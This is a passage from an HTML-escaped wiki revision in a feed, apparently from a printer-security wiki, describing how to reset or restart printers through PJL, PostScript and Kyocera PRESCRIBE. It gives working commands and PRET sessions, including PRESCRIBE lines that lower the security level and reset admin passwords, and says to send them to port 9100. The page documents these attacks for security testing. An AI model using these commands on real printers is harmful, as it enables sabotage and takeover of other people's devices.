&lt;br /&gt;
 @PJL DMCMD ASCIIHEX=&amp;quot;040006020501010301040106&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
On HP printers, restarting or resetting the device can easily be reproduced using [[PRET]]:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; reset&lt;br /&gt;
 printer:/&amp;gt; restart&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
== PostScript ==&lt;br /&gt;
&lt;br /&gt;
PostScript offers a similar feature: The ''FactoryDefaults'' system parameter, ‘a flag that, if set to true immediately before the printer is turned off, causes all nonvolatile parameters to revert to their factory default values at the next power-on’ &amp;lt;ref&amp;gt;''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 751&amp;lt;/ref&amp;gt;. Restarting the printer on the other hand can be accomplished by SNMP and PML as described above. It must be noted that PostScript itself also has the capability to restart its environment but it requires a [[Credential disclosure|valid password]]. The PostScript interpreter however can be put into an infinite loop as discussed in [[eval-transmission-channel]] which forces the user to manually restart the device and thus reset the PostScript password.&lt;br /&gt;
&lt;br /&gt;
Reset PostScript system parameters to factory defaults:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=postscript&amp;gt;&lt;br /&gt;
&amp;lt;&amp;lt; /FactoryDefaults true &amp;gt;&amp;gt; setsystemparams&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Restart the PostScript interpreter and virtual memory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=postscript&amp;gt;&lt;br /&gt;
true 0 startjob systemdict /quit get exec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Restarting or resetting a printer's PostScript interpreter can easily be reproduced using [[PRET]]:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer ps&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; reset&lt;br /&gt;
 printer:/&amp;gt; restart&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
== PRESCRIBE ==&lt;br /&gt;
&lt;br /&gt;
For Kyocera devices, the PRESCRIBE page description languages may be used to reset the device to factory default from within ordinary print jobs using one of the commands shown below: &amp;lt;!-- may autorize first, using default machine passwords: !R! ACNT &amp;quot;ADMN&amp;quot;, &amp;quot;5200&amp;quot;; --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 !R! KSUS &amp;quot;AUIO&amp;quot;, &amp;quot;CUSTOM:Admin Password = 'admin00'&amp;quot;;  CMMT &amp;quot;Drop the security level, reset password&amp;quot;;&lt;br /&gt;
 !R! ACNT &amp;quot;REST&amp;quot;;                                       CMMT &amp;quot;Reset account code admin password&amp;quot;;&lt;br /&gt;
 !R! EGRE;                                              CMMT &amp;quot;Reset the engine board to factory defaults&amp;quot;;&lt;br /&gt;
 !R! SIOP0,&amp;quot;RESET:0&amp;quot;;                                   CMMT &amp;quot;Reset configuration settings&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
Open a raw network connection (using ''netcat'' &amp;lt;ref&amp;gt;''[http://nc110.sourceforge.net/ Netcat – TCP/IP Swiss Army Knife]'', Hobbit, 1996&amp;lt;/ref&amp;gt;, for example) to port 9100/tcp of the printer and send the commands above.&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>92.227.58.56</name></author>	</entry>

	</feed>